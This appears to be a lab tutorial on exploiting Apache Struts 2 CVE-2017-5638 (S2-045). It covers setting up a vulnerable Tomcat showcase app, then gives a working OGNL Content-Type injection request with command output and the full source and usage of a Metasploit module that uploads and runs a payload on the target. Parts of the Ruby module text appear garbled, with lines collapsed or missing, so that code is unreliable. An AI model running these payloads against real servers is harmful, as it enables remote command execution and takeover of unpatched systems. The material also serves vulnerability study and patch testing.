Apache-struts2 Content-Type arbitrary command execution (CVE-2017-5638)
Apache Struts 2 is an open-source web application framework for developing Java EE web applications. It’s an extensible framework for creating enterprise-ready Java web applications adopt a model–view–controller (MVC) architecture. The framework is designed to streamline the full development cycle, from building to deploying, to maintaining applications over time. Apache Struts 2 was originally known as WebWork 2.
Apache-struts2 Content-Type arbitrary command execution (CVE-2017-5638): The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017.
Affected Products and Versions: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1
Setting up Apache-struts2 labs on ubuntu
The first, you need to install apache tomcat as following the instructions: https://help.ubuntu.com/lts/serverguide/tomcat.html
After install apache tomcat, Dowload struts2-showcase version 2.3.12 from: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.12
To deploy the struts2-showcase application, simply copy the war-file into Tomcat’s “webapps” directory (/var/www/lib/tomcat7/webapps).
Let’s stop service tomcat (sudo service tomcat7 stop) and copy the struts2 application struts2.war into Tomcat’s “webapps”. Start your Tomcat. The war-file will be unzipped and deployed automatically.
cd /var/lib/tomcat7/webapps/ wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.12/struts2-showcase-2.3.12.war sudo mv struts2-showcase-2.3.12.war struts2.war sudo chmod 755 struts2.war sudo service tomcat7 restart
Go to browser and access to address: http://your_ip:8080/struts2/, the struts2-showcase application installed successfully
Exploit CVE-2017-5638
1, Python Exploit script
Download script: https://www.exploit-db.com/exploits/41570/
Run exploit:
python struts2_S2-045.py url "command"
For example:
python struts2_S2-045.py http://192.168.126.128:8080/struts2/index.action "uname -a"
The request of exploit are following:
GET /struts2/index.action HTTP/1.1 Accept-Encoding: identity Host: 192.168.126.128:8080 Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='uname -a').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} Connection: close User-Agent: Mozilla/5.0 HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Transfer-Encoding: chunked Date: Sat, 28 Oct 2017 04:23:31 GMT Connection: close 71 Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux 0
2, Metasploit module:
Download script:
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule 'Apache Struts Jakarta Multipart Parser Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vunlerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. }, 'Author' => [ 'Nixawk' ], 'References' => [ ['CVE', '2017-5638'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045'] ], 'Platform' => %w{ java linux win }, 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DisclosureDate' => 'Mar 07 2017', 'DefaultTarget' => 2)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]), OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil]) ] ) end def print_status(msg='') super("#{peer} - #{msg}") end def get_target_platform target.platform.platforms.first end def temp_path @TMPPATH ||= lambda { path = datastore['TMPPATH'] return nil unless path case get_target_platform when Msf::Module::Platform::Windows slash = '\\' when slash = '/' else end unless path.end_with?('/') path < uri, 'version' => '1.1', 'method' => 'GET', 'headers' => { 'Content-Type': payload } ) if resp && resp.code == 404 fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI') end resp end def upload_exec(cmd, filename, content) var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) var_c = rand_text_alpha_lower(4) cmd = Rex::Text.encode_base64(cmd) payload = "%{" payload << "(#[email protected]@DEFAULT_MEMBER_ACCESS)." # save into a file / set file execution bit payload << "(##{var_a}=new sun.misc.BASE64Decoder())." payload << "(##{var_b}=new java.io.FileOutputStream('#{filename}'))." payload << "(##{var_b}.write(new java.math.BigInteger('#{content}', 16).toByteArray()))." payload << "(##{var_b}.close())." payload << "(##{var_c}=new java.io.File(new java.lang.String('#{filename}')))." payload << "(##{var_c}.setExecutable(true))." payload << "(@[email protected]().exec(new java.lang.String(##{var_a}.decodeBuffer('#{cmd}'))))" payload << "}.multipart/form-data" send_http_request(payload) end def check var_a = rand_text_alpha_lower(4) var_b = rand_text_alpha_lower(4) payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']" payload << ".addHeader('#{var_a}', '#{var_b}')" payload << "}.multipart/form-data" begin resp = send_http_request(payload) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end if resp && resp.code == 200 && resp.headers[var_a] == var_b Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit payload_exe = rand_text_alphanumeric(4 + rand(4)) case target['Platform'] when 'java' payload_exe = "#{temp_path}#{payload_exe}.jar" pl_exe = payload.encoded_jar.pack command = "java -jar #{payload_exe}" when 'linux' path = datastore['TMPPATH'] || '/tmp/' pl_exe = generate_payload_exe payload_exe = "#{path}#{payload_exe}" command = "/bin/sh -c #{payload_exe}" when 'win' path = temp_path || '.\\' pl_exe = generate_payload_exe payload_exe = "#{path}#{payload_exe}.exe" print_status(payload_exe) command = "cmd.exe /c #{payload_exe}" else fail_with(Failure::NoTarget, 'Unsupported target platform!') end pl_content = pl_exe.unpack('H*').join() print_status("Uploading exploit to #{payload_exe}, and executing it.") upload_exec(command, payload_exe, pl_content) end end
Save file as struts_code_exec_jakarta.rb and move to metasploit module “sudo mv struts_code_exec_jakarta.rb /usr/share/metasploit-framework/modules/exploits/multi/http”
Start metasploit to run module exploit/multi/http/struts_code_exec_jakarta and set options target with following command:
use exploit/multi/http/struts_code_exec_jakarta set RHOST [hostname or ip address] set RPORT 8080 set TARGETURI /struts2/index.action set target 1 exploit
Run exploit successfully:
References:
https://help.ubuntu.com/lts/serverguide/tomcat.html
https://cwiki.apache.org/confluence/display/WW/S2-045
https://www.exploit-db.com/exploits/41570/